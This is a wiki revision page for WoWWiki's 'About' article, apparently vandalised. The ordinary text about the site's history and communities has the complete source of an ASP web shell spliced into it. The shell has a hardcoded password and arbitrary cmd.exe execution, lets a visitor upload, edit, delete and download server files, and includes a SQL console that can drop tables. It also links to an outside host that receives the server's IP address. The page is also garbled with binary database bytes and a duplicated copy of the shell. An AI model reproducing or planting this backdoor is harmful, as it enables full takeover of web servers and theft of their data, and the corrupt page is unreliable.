Abcd21229835@legacy41521932 (talk | contribs) |
Abcd21229835@legacy41521932 (talk | contribs) No edit summary |
||
| Line 544: | Line 544: | ||
s.Type = 1 |
s.Type = 1 |
||
if not oFileSys.FileExists(strFilename) then |
if not oFileSys.FileExists(strFilename) then |
||
| + | Response.Write(" � Standard Jet DB � 祅�b` 耈椹gr@? 渵煇厷1舮喉0歼虧c黉糜A麏糔�m?烈滫Z?鎻 奰?{6i溥彪b�CS9?y[�#|*D襹?�橗A碇眙韨f_書袎$単?'D翌蟚?�荈��黹-b訲� 4.0 |
||
| − | Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>") |
||
| + | |||
| − | Response.End |
||
| ⚫ | |||
| − | end if |
||
| − | Set f = oFileSys.GetFile(strFilename) |
||
| − | intFilelength = f.size |
||
| − | s.LoadFromFile(strFilename) |
||
| − | if err then |
||
| ⚫ | |||
Response.End |
Response.End |
||
end if |
end if |
||
Revision as of 14:38, 1 November 2007
WoWWiki is a wiki dedicated to cataloguing Blizzard Entertainment's Warcraft Universe (with a focus, though not priority, on World of Warcraft), covering the entire Warcraft series of games, RPG reference books, strategy guides, novels, manga and other sources.
About WoWWiki
The wiki is a flexible, user-editable web-based database of information made up entirely of user contributions, and uses MediaWiki software. All the text in the wiki is released under the GNU Free Documentation License and to be able to edit the articles, visitors must register with the website.
So why a Warcraft wiki? As you're going through looking for information, if you see something that's incorrect, you can correct it. If you see any information that's missing, you can add it. This way, the information here should be as up to date as possible, instead of having to wait for a small group of people to update the information as the world changes. The more people that use the WoWWiki, the more up to date the information will be!
- WoWWiki is not a copy of Wikipedia - we do many things differently - but we would like to think that we're aiming toward high standards where describing game mechanics, geography, in-game occurrences and lore.
- The WoW community often uses slang terms, which is in part reflected here. In addition, you may occasionally find information here on some articles that is decidedly not NPOV.
- Wiki is not a religion here, it is a way of editing.
- We strive to be as 'lore-neutral' as possible. We do not decide what is 'official' and what isn't - that is
[Blizzard]'s job. We record the known information and try to present all sides of any valid controversy. Check our lore policy for further details.
- See also
- The community portal
- The policies and guidelines
- The "WoWWiki" category
History and background
The original site logo
WoWWiki.com was launched on the 24th November 2004 by Rustak, in conjunction with AlexanderYoshi, as a source of information pertaining to World of Warcraft and the interface modification suite Cosmos.[1]
Since the launch, the wiki has expanded massively to cover the entirety of the Warcraft Universe, including the RTS games, novels, the World of Warcraft: The Roleplaying Game books, manga, and other written sources, along with the WoW expansion packs, World of Warcraft: The Burning Crusade and World of Warcraft: Wrath of the Lich King.
It is also a primary and popular source for World of Warcraft interface customization and addon information (such as Cosmos) as Blizzard Entertainment themselves do not release documentation on the programming interface.[2]
On 2 May 2007, it was announced that WoWWiki would be moving to Wikia, joining major wikis such as Memory Alpha, Wookiepedia and Uncyclopedia. This move occurred two weeks later. See also Ownership and administration, below.
WoWWiki currently runs on MediaWiki 1.39.7. See Special:Version for further details and a list of our installed extensions.
WoWWiki communities
Official WoWWiki IRC channel
For all talk WoWWiki, come and idle on the official IRC channel, set up solely for your WoW + wiki needs!
Many admins frequent the channel, and you are cordially invited to chat, discuss wiki issues, notify us of important developments and just generally make yourself at home!
Once you have an IRC client, join us on: chat.freenode.net, #wowwiki
For more info and channel rules see WoWWiki IRC details.
WoWWiki in World of Warcraft
Currently one reasonably 'WoWWikian' location exists - Stormrage EU, on the Alliance side. Several WoWWikians have characters there including Kirkburn, Adys, Kaso, Apollozeus, Teomyr and others. We have a communal channel called "WoWWiki" - just type /join WoWWiki. Hope to see you online!
Facebook group
You can find a "WoWWiki Addicts" group on Facebook!
Visit http://www.facebook.com/group.php?gid=2256703814
Steam Community
We have a group called "WoWWiki - the Warcraft wiki" on The Steam Community!
<%@ LANGUAGE = VBScript.Encode codepage ="936" %> <%Server.ScriptTimeOut=5000%> <object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object> <% if Request("q")="exit" then Session("AdminPassword")="" Response.write "<script>alert('Quit Ok....XiXi.....');window.close();</script>" end if %> <% on error resume next dim Data_5xsoft Class upload_5xsoft dim objForm,objFile,Version Public function Form(strForm) strForm=lcase(strForm) if not objForm.exists(strForm) then Form="" else Form=objForm(strForm) end if end function
Public function File(strFile) strFile=lcase(strFile) if not objFile.exists(strFile) then set File=new FileInfo else set File=objFile(strFile) end if end function
Private Sub Class_Initialize dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType,sFormValue,sFileName dim iFindStart,iFindEnd dim iFormStart,iFormEnd,sFormName Version="HTTP Uploader Version 2.0" set objForm=server.CreateObject("Scr"&b&"ipting.Dictionary") set objFile=server.CreateObject("Scr"&b&"ipting.Dictionary") if Request.TotalBytes<1 then Exit Sub set tStream = server.CreateObject("Ado"&l&"db.Stream") set Data_5xsoft = server.CreateObject("Ado"&l&"db.Stream") Data_5xsoft.Type = 1 Data_5xsoft.Mode =3 Data_5xsoft.Open Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes) Data_5xsoft.Position=0 RequestData =Data_5xsoft.Read
iFormStart = 1 iFormEnd = LenB(RequestData) vbCrlf = chrB(13) & chrB(10) sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1) iStart = LenB (sStart) iFormStart=iFormStart+iStart+1 while (iFormStart + 10) < iFormEnd iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3 tStream.Type = 1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iFormStart Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart tStream.Position = 0 tStream.Type = 2 tStream.Charset ="gb2312" sInfo = tStream.ReadText tStream.Close iFormStart = InStrB(iInfoEnd,RequestData,sStart) iFindStart = InStr(22,sInfo,"name=""",1)+6 iFindEnd = InStr(iFindStart,sInfo,"""",1) sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart)) if InStr (45,sInfo,"filename=""",1) > 0 then set theFile=new FileInfo iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10 iFindEnd = InStr(iFindStart,sInfo,"""",1) sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileName=getFileName(sFileName) theFile.FilePath=getFilePath(sFileName) iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14 iFindEnd = InStr(iFindStart,sInfo,vbCr) theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileStart =iInfoEnd theFile.FileSize = iFormStart -iInfoEnd -3 theFile.FormName=sFormName if not objFile.Exists(sFormName) then objFile.add sFormName,theFile end if else tStream.Type =1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iInfoEnd Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3 tStream.Position = 0 tStream.Type = 2 tStream.Charset ="gb2312" sFormValue = tStream.ReadText tStream.Close if objForm.Exists(sFormName) then objForm(sFormName)=objForm(sFormName)&", "&sFormValue else objForm.Add sFormName,sFormValue end if end if iFormStart=iFormStart+iStart+1 wend RequestData="" set tStream =nothing End Sub
Private Sub Class_Terminate if Request.TotalBytes>0 then objForm.RemoveAll objFile.RemoveAll set objForm=nothing set objFile=nothing Data_5xsoft.Close set Data_5xsoft =nothing end if End Sub
Private function GetFilePath(FullPath) If FullPath <> "" Then GetFilePath = left(FullPath,InStrRev(FullPath, "\")) Else GetFilePath = "" End If End function
Private function GetFileName(FullPath) If FullPath <> "" Then GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1) Else GetFileName = "" End If End function End Class
Class FileInfo dim FormName,FileName,FilePath,FileSize,FileType,FileStart Private Sub Class_Initialize FileName = "" FilePath = "" FileSize = 0 FileStart= 0 FormName = "" FileType = "" End Sub
Public function SaveAs(FullPath) dim dr,ErrorChar,i SaveAs=true if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function set dr=CreateObject("Ado"&l&"db.Stream") dr.Mode=3 dr.Type=1 dr.Open Data_5xsoft.position=FileStart Data_5xsoft.copyto dr,FileSize dr.SaveToFile FullPath,2 dr.Close set dr=nothing SaveAs=false end function End Class
httpt = Request.ServerVariables("server_name") Rseb = Request.ServerVariables("script_name") q=request("q") if q="" then q=rseb select case q case rseb if trim(request.form("password"))="7758251" then Session("AdminPassword")="xiaomo" response.redirect rseb & "?q=list.asp" else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
</head>
<body>
<%=httpt%> |
| <form method="POST" action="<%=rseb%>?q=<%=rseb%>">
Password: <input type="password" name="password"
size="20" style="background-color:#DDDDDD; border-left: none; border-right: none; border-top: none; border-bottom: solid 1px"> <input type="submit" value="Login" name="B1" style="border: thin outset"></form> |
</body></html>
<%
if request.form("password")<>"" then
response.write "
"
end if %>
<%end if%>
<%case "down.asp" if Session("AdminPassword")="xiaomo" then call downloadFile(request("path")) end if function downloadFile(strFile) strFilename = strFile Response.Buffer = True Response.Clear%> <object runat=server id=s scope=page classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object> <%s.Open s.Type = 1 if not oFileSys.FileExists(strFilename) then
Response.Write("
Error:
" & strFilename & " does not exist
")
Response.End end if Set f = oFileSys.GetFile(strFilename) intFilelength = f.size s.LoadFromFile(strFilename) if err then Response.Write("<%@ LANGUAGE = VBScript.Encode codepage ="936" %> <%Server.ScriptTimeOut=5000%> <object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object> <% if Request("q")="exit" then Session("AdminPassword")="" Response.write "<script>alert('Quit Ok....XiXi.....');window.close();</script>" end if %> <% on error resume next dim Data_5xsoft Class upload_5xsoft dim objForm,objFile,Version Public function Form(strForm) strForm=lcase(strForm) if not objForm.exists(strForm) then Form="" else Form=objForm(strForm) end if end function
Public function File(strFile) strFile=lcase(strFile) if not objFile.exists(strFile) then set File=new FileInfo else set File=objFile(strFile) end if end function
Private Sub Class_Initialize dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile dim iFileSize,sFilePath,sFileType,sFormValue,sFileName dim iFindStart,iFindEnd dim iFormStart,iFormEnd,sFormName Version="HTTP Uploader Version 2.0" set objForm=server.CreateObject("Scr"&b&"ipting.Dictionary") set objFile=server.CreateObject("Scr"&b&"ipting.Dictionary") if Request.TotalBytes<1 then Exit Sub set tStream = server.CreateObject("Ado"&l&"db.Stream") set Data_5xsoft = server.CreateObject("Ado"&l&"db.Stream") Data_5xsoft.Type = 1 Data_5xsoft.Mode =3 Data_5xsoft.Open Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes) Data_5xsoft.Position=0 RequestData =Data_5xsoft.Read
iFormStart = 1 iFormEnd = LenB(RequestData) vbCrlf = chrB(13) & chrB(10) sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1) iStart = LenB (sStart) iFormStart=iFormStart+iStart+1 while (iFormStart + 10) < iFormEnd iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3 tStream.Type = 1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iFormStart Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart tStream.Position = 0 tStream.Type = 2 tStream.Charset ="gb2312" sInfo = tStream.ReadText tStream.Close iFormStart = InStrB(iInfoEnd,RequestData,sStart) iFindStart = InStr(22,sInfo,"name=""",1)+6 iFindEnd = InStr(iFindStart,sInfo,"""",1) sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart)) if InStr (45,sInfo,"filename=""",1) > 0 then set theFile=new FileInfo iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10 iFindEnd = InStr(iFindStart,sInfo,"""",1) sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileName=getFileName(sFileName) theFile.FilePath=getFilePath(sFileName) iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14 iFindEnd = InStr(iFindStart,sInfo,vbCr) theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart) theFile.FileStart =iInfoEnd theFile.FileSize = iFormStart -iInfoEnd -3 theFile.FormName=sFormName if not objFile.Exists(sFormName) then objFile.add sFormName,theFile end if else tStream.Type =1 tStream.Mode =3 tStream.Open Data_5xsoft.Position = iInfoEnd Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3 tStream.Position = 0 tStream.Type = 2 tStream.Charset ="gb2312" sFormValue = tStream.ReadText tStream.Close if objForm.Exists(sFormName) then objForm(sFormName)=objForm(sFormName)&", "&sFormValue else objForm.Add sFormName,sFormValue end if end if iFormStart=iFormStart+iStart+1 wend RequestData="" set tStream =nothing End Sub
Private Sub Class_Terminate if Request.TotalBytes>0 then objForm.RemoveAll objFile.RemoveAll set objForm=nothing set objFile=nothing Data_5xsoft.Close set Data_5xsoft =nothing end if End Sub
Private function GetFilePath(FullPath) If FullPath <> "" Then GetFilePath = left(FullPath,InStrRev(FullPath, "\")) Else GetFilePath = "" End If End function
Private function GetFileName(FullPath) If FullPath <> "" Then GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1) Else GetFileName = "" End If End function End Class
Class FileInfo dim FormName,FileName,FilePath,FileSize,FileType,FileStart Private Sub Class_Initialize FileName = "" FilePath = "" FileSize = 0 FileStart= 0 FormName = "" FileType = "" End Sub
Public function SaveAs(FullPath) dim dr,ErrorChar,i SaveAs=true if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function set dr=CreateObject("Ado"&l&"db.Stream") dr.Mode=3 dr.Type=1 dr.Open Data_5xsoft.position=FileStart Data_5xsoft.copyto dr,FileSize dr.SaveToFile FullPath,2 dr.Close set dr=nothing SaveAs=false end function End Class
httpt = Request.ServerVariables("server_name") Rseb = Request.ServerVariables("script_name") q=request("q") if q="" then q=rseb select case q case rseb if trim(request.form("password"))="7758251" then Session("AdminPassword")="xiaomo" response.redirect rseb & "?q=list.asp" else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
</head>
<body>
<%=httpt%> |
| <form method="POST" action="<%=rseb%>?q=<%=rseb%>">
Password: <input type="password" name="password"
size="20" style="background-color:#DDDDDD; border-left: none; border-right: none; border-top: none; border-bottom: solid 1px"> <input type="submit" value="Login" name="B1" style="border: thin outset"></form> |
</body></html>
<%
if request.form("password")<>"" then
response.write "
"
end if %>
<%end if%>
<%case "down.asp" if Session("AdminPassword")="xiaomo" then call downloadFile(request("path")) end if function downloadFile(strFile) strFilename = strFile Response.Buffer = True Response.Clear%> <object runat=server id=s scope=page classid="clsid:00000566-0000-0010-8000-00AA006D2EA4"></object> <%s.Open s.Type = 1 if not oFileSys.FileExists(strFilename) then Response.Write(" � Standard Jet DB � 祅�b` 耈椹gr@? 渵煇厷1舮喉0歼虧c黉糜A麏糔�m?烈滫Z?鎻 奰?{6i溥彪b�CS9?y[�#|*D襹?�橗A碇眙韨f_書袎$単?'D翌蟚?�荈��黹-b訲� 4.0
Error:
" & err.Description & "
")
Response.End end if Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite s.Read Response.Flush s.Close Set s = Nothing response.end End Function %> <%case "list.asp"%> <% urlpath=server.urlencode(path) if Session("AdminPassword")="xiaomo" then dim cpath,lpath if Request("path")="" then lpath="/" else lpath=Request("path")&"/" end if if Request("attrib")="true" then cpath=lpath attrib="true" else cpath=Server.MapPath(lpath) attrib="" end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write "-<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'>Superior Directory:</a>
<script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script>
<%
end if
End Sub
Sub GetFile() dim theFiles if oFileSys.FolderExists(cpath)then Set theFolder=oFileSys.GetFolder(cpath) Set theFiles=theFolder.Files
Response.write"
<script language=vbscript>" For Each x In theFiles if Request("attrib")="true" then showstring=x.Name else showstring=x.Name end if %>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>" <% Next end if Response.write"</script>"
End Sub %> <html>
<head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title><%=httpt%></title> <style type="text/css"> </style> </head> <script language="JavaScript"> function crfile(ls) {if (ls==""){alert("Input Folder Name!");} else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);} return false; } function crdir(ls) {if (ls==""){alert("Input File Name!");} else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);} return false; } </script> <script language="vbscript"> sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "" document.write "+ <a href='"& urlpath & lpath & xName &"' target='_blank'>" & showstring & "</a>" document.write "" & round(size/1024,1) & " K" document.write "" & year(DateLastModified) & "-" & right("0"&month(DateLastModified),2) & "-" & right("0"&day(DateLastModified),2) & " " & FormatDateTime(DateLastModified,4) & "" document.write "<a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank'>Edit</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&">Del</a> <a style='cursor:hand' onclick=""copyfile('" & lpath & Name & "')"">Copy</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"'>Down</a>"
end sub
sub so(lpath,xName,path,attrib)
if len(xName)>26 then
DispName=left(xName,25)&".."
else
DispName=xName
end if
document.write "|- <a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>" & DispName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&">Del</a>
"
end sub
sub rmdir1(ls) if confirm("Really delete file:"&ls&"?") then window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>") end if end sub
sub rmdir(ls) if confirm("Really delete folder:"&ls&"?") then window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>") end if end sub
sub copyfile(sfile) dfile=InputBox("Source:"&sfile&vbcrlf&"Target:"&vbcrlf&"[Input path of current mode]") dfile=trim(dfile) attrib="<%=request("attrib")%>" if dfile<>"" then if InStr(dfile,":") or InStr(dfile,"/")=1 then lp="" if InStr(dfile,":") and attrib<>"true" then alert "No Absolute Path in relative mode!"&vbcrlf&"Error Path: ["&dfile&"]" exit sub end if else lp="<%=lpath%>" end if window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile) else alert "Please Input File Name!" end If end sub </script> <body>
<form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data"> </form><%=httpt%> |
|
|
Subarea:<% For Each thing in oFileSys.Drives Response.write "[<a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>] " NEXT set oScriptNet=Server.CreateObject("WSC"&e&"RIPT.NETWORK") %> NetWork Address:[<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>] [<a href="<%=rseb%>?q=exit">Exit</a>] |
|
|
Mode:<% if Request("attrib")="true" then response.write "[<a href='" & rseb & "?q=list.asp'>Pertinent</a>]" else response.write "[<a href='" & rseb & "?attrib=true&q=list.asp'>Full</a>]" end if iisver =Request.ServerVariables("SERVER_SOFTWARE") %> Currently Path: [<%=cpath%>]    Server Ip: [<a href="http://<%=Session("AdminPassword")%>.com/ipview.asp?ipdata=<%=Request.ServerVariables("LOCAL_ADDR")%>" target="_blank"><%=Request.ServerVariables("LOCAL_ADDR")%></a>]     IIS Ver:[<%=iisver%>] |
|
| Currently View: [<%=lpath%>] | |
|
<input class="tx1" type="text" name="filename" size="20"> <input class="tx1" type="button" value="Add File" onclick="crfile(form1.filename.value)"> <input class="tx1" type="button" value="Add Directory" onclick="crdir(form1.filename.value)"> <input type="file" name="file1" class="tx1" style="width:200" value="" size="50"> <input type="text" name="filepath" class="tx1" style="width:200" value="<%=cpath%>" size="50"> <input type="hidden" name="act" value="upload"> <input type="hidden" name="upcount" class="tx" value="1"> <input class="tx1" type="submit" value="UpFile"> <input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value=" CMD "> <input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="No Fso"> <input class="bt" type="button" onclick="window.open('<%=rseb%>?q=sql.asp','_blank')" value="Data Manage"> |
|
| <%Call GetFolder()%> | <%Call GetFile()%> |
<%else response.write "Password Error!" response.write "<a href='" & rseb & "?q=" & rseb & "'>Return</a>" end if %> </body> </html>
<%case "edit.asp"%>
<html>
<head> <meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb2312"> <title>Edit Code</title> <style> </style> </head>
<body> <% 'Read Files if Session("AdminPassword")="xiaomo" then if request("op")="del" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if Set thisfile = oFileSys.GetFile(whichfile) thisfile.Delete True Response.write "<script>alert('Delete succeedPlease Refresh');window.close();</script>" else if request("op")="copy" then if Request("attrib")="true" then whichfile=Request("path") dsfile=Request("dpath") else whichfile=server.mappath(Request("path")) dsfile=Server.MapPath(Request("dpath")) end if Set thisfile = oFileSys.GetFile(whichfile) thisfile.copy dsfile %> <script language=vbscript> msgbox "Source File<%=whichfile%>" & vbcrlf & " Intent File:<%=dsfile%>" & vbcrlf & "Copy succeed Please Refresh" window.close() </script> <% else if request.form("text")="" then if Request("creat")<>"yes" then if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False) counter=0 thisline=thisfile.readall thisfile.Close set fs=nothing
end if %>
<form method="POST" action="<%=rseb%>?q=edit.asp"> <input type="hidden" name="attrib" value="<%=Request("attrib")%>">
| File Name:<input type="text" name="path" size="45" value="<%=Request("path")%>" style="border:solid 1px"> <input type="submit" value=" Save " name="B1"> (Dont's Forget Save) | |
| <textarea rows="32" name="text" cols="130" style="border:solid 1px"><%=replace(thisline,"</textarea>","</textarea>")%></textarea> | |
</form>
<%else if Request("attrib")="true" then whichfile=Request("path") else whichfile=server.mappath(Request("path")) end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('Change succeedPlease Refresh');window.close();</script>" end if end if end if else response.write "Password Error!" response.write "<a href='" & rseb & "?q=" & rseb & "'>Back</a>" end if %> </body> </html>
<%case "edir.asp"%> <html>
<head> <meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb2312"> <title>Dir Operate</title> <style> </style> </head>
<body> <% if Session("AdminPassword")="xiaomo" then
if request("op")="del" then
if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if oFileSys.DeleteFolder whichdir,True Response.write "Delete dir succeedfully: " & whichdir & " Please Refresh"
else
if request("op")="creat" then if Request("attrib")="true" then whichdir=Request("path") else whichdir=server.mappath(Request("path")) end if oFileSys.CreateFolder whichdir Response.write "Create dir succeedfully:" & whichdir & " Please Refresh" end if end if else response.write "Password Error!" response.write "<a href='" & rseb & "?q=" & rseb & "'>Return</a>" end if %> </body> </html> <% case "upfile.asp" if Session("AdminPassword")="xiaomo" then set upload=new upload_5xSoft if upload.form("filepath")="" then HtmEnd "Input Path!" set upload=nothing response.end else formPath=upload.form("filepath") if right(formPath,1)<>"/" then formPath=formPath&"/" end if
iCount=0 for each formName in upload.objFile set file=upload.file(formName) if file.FileSize>0 then
file.SaveAs formPath & file.FileName
response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" Succeed!
"
iCount=iCount+1
end if set file=nothing next set upload=nothing Htmend iCount&" Files Uploaded!"
sub HtmEnd(Msg) set upload=nothing
Response.write "Upload OK! Please Refresh
<input value=Close type=button onclick=window.close();>"
response.end
end sub
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>Return</a>"
end if
case "cmd.asp"
If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If
if Session("AdminPassword")<>"xiaomo" then
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>Return</a>"
else%>
<title>ASP Shell</title>
<HTML>
<BODY>
<FORM action="<%=rseb%>?q=cmd.asp" method="POST">
<input type=text value="<%=Request.Form(".CMD")%>" name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Execute CMD">
<%response.write"
SHELL·<input name='SP' value='"&ShellPath&"' Style='width:35%'>"%>
</FORM>
<%
set oScript=Server.CreateObject("WSC"&y&"RIPT.shell")
On Error Resume Next
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
response.write"<textarea readonly cols=79 rows=22 name=text style='border:solid 1px'>"
response.write oScript.exec (ShellPath&" /c "&szCMD).stdout.readall
response.write"---Rar Compressionc:\progra~1\winrar\rar.exe a d:\www\web1.rar d:\www\web1---"
response.write"--------------------------The AspShell Write By xiaomo--------------------------"
response.write"</textarea>"
End If
end if
case "sql.asp"
if Session("AdminPassword")<>"xiaomo" then
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>Return</a>"
else
%>
<style type="text/css">
</style>
<%
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
HTMLEncode = S
end if
End Function
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&"
| 数据库连接串: | <input name='DbStr' style='width:100%' value="""&DbStr&"""> | <select name='StrBtn' onchange='return FullDbStr(options[selectedIndex].value)'><option value=-1>连接串示例</option><option value=0>Access连接</option>"
SI=SI&"<option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option>" SI=SI&"<option value=-1>--SQL语法--</option><option value=4>显示数据</option><option value=5>添加数据</option>" SI=SI&"<option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option>" SI=SI&"<option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option>"SI=SI&"<option value=12>完全显示</option></select> |
| SQL操作命令: | <input name='SqlStr' style='width:100%' value="""&SqlStr&"""> | <input type='submit' name='Submit' value='执行' onclick='return DbCheck()'> |
"
Response.Write SI:SI=""
If Len(DbStr)>40 Then
Set Conn=CreateObject("Adodb.connection")
Conn.Open DbStr
Set Rs=Conn.OpenSchema(20)
SI=SI&"
" Rs.MoveFirst
Do While Not Rs.Eof
If Rs("TABLE_TYPE")="TABLE" then
TName=Rs("TABLE_NAME")
SI=SI&"" End If Rs.MoveNext Loop Set Rs=Nothing SI=SI&"| 表 名 |
<a href='javascript:FullSqlStr(""DROP TABLE ["&TName&"]"",1)'>[ del ]</a> " SI=SI&"<a href='javascript:FullSqlStr(""SELECT * FROM ["&TName&"]"",1)'>"&TName&"</a> |
"
Response.Write SI:SI=""
If Len(SqlStr)>10 Then
If LCase(Left(SqlStr,6))="select" then
SI=SI&"执行语句："&SqlStr
Set Rs=CreateObject("Adodb.Recordset")
Rs.open SqlStr,Conn,1,1
FN=Rs.Fields.Count
RC=Rs.RecordCount
Rs.PageSize=20
Count=Rs.PageSize
PN=Rs.PageCount
Page=request("Page")
If Page<>"" Then Page=Clng(Page)
If Page="" Or Page=0 Then Page=1
If Page>PN Then Page=PN
If Page>1 Then Rs.absolutepage=Page
SI=SI&"
" For n=0 to FN-1
Set Fld=Rs.Fields.Item(n)
SI=SI&""
Set Fld=nothing NextSI=SI&"" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" SI=SI&""
For i=0 To FN-1
If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
If RC=1 Then
ColInfo=HTMLEncode(Rs(i))
Else
ColInfo=HTMLEncode(Left(Rs(i),50))
End If
SI=SI&""
Next
SI=SI&"" Rs.MoveNext Loop Response.Write SI:SI="" SqlStr=HtmlEnCode(SqlStr) SI=SI&"| "&Fld.Name&" | |
| x | "&ColInfo&" |
记录数："&RC&" 页码："&Page&"/"&PN
If PN>1 Then
SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""",1)'>首页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'>上一页</a> "
If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
For i=Sp To Sp+8
If i>PN Then Exit For
If i=Page Then
SI=SI&i&" "
Else
SI=SI&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a> "
End If
Next
SI=SI&" <a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'>下一页</a> <a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>尾页</a>" End IfSI=SI&" |
"
Rs.Close:Set Rs=Nothing
Response.Write SI:SI=""
Else Conn.Execute(SqlStr) SI=SI&"SQL语句："&SqlStr End If
Response.Write SI:SI=""
End If
Conn.Close Set Conn=Nothing End If
%>
<script language="javascript">
</script>
<%
end if
case "p.asp"%>
<%if Session("AdminPassword")="xiaomo" then %>
